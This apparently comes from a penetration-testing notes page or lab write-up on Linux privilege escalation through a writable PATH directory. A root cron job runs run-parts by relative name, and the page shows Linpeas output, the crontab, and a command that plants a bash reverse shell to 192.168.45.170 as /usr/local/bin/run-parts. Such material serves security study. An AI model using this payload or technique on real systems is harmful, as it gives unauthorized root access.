Path Abuse

A common privilege escalation vector on Linux involves abusing writable directories listed in the system’s PATH environment variable, particularly when those directories are used by automated tasks executed with elevated privileges. When a privileged process like a cron job executes a command without specifying its full path, the shell resolves that command by searching through the directories listed in PATH. If one of these directories is writable by a low-privileged user, and a file with the same name as the expected command is placed there, the system may inadvertently execute the user-controlled binary or script as root. This becomes especially dangerous when the task is run by root on a predictable schedule, such as through /etc/crontab.

For example, Linpeas often highlights both writable system paths:

# Host enumeration with Linpeas
$ ./linpeas.sh
╔══════════╣ PATH
 https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-path-abuses
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
╔══════════╣ Systemd PATH
 https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#systemd-path---relative-paths
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
 https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files
/usr/local/bin

Inspecting the /etc/crontab reveals a root-owned job scheduled to run every five minutes. The relevant line instructed the system to execute run-parts to iterate over scripts in /etc/cron.hourly, without using an absolute path for the run-parts binary. Since /usr/local/bin appeared earlier in the PATH, any binary or script placed there with the name run-parts would be executed in place of the real one.

$ cat /etc/crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
*/5 *   * * *   root    cd / && run-parts --report /etc/cron.hourly # Every 5 mins

To exploit this misconfiguration, a reverse shell payload was written into /usr/local/bin/run-parts, ensuring it was executable.

$ echo "/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.45.170/21 0>&1'" > /usr/local/bin/run-parts

Within the next five-minute interval, the cron job will trigger and execute the malicious script under root privileges, resulting in a root shell on the attacker’s listener.

Last updated

Was this helpful?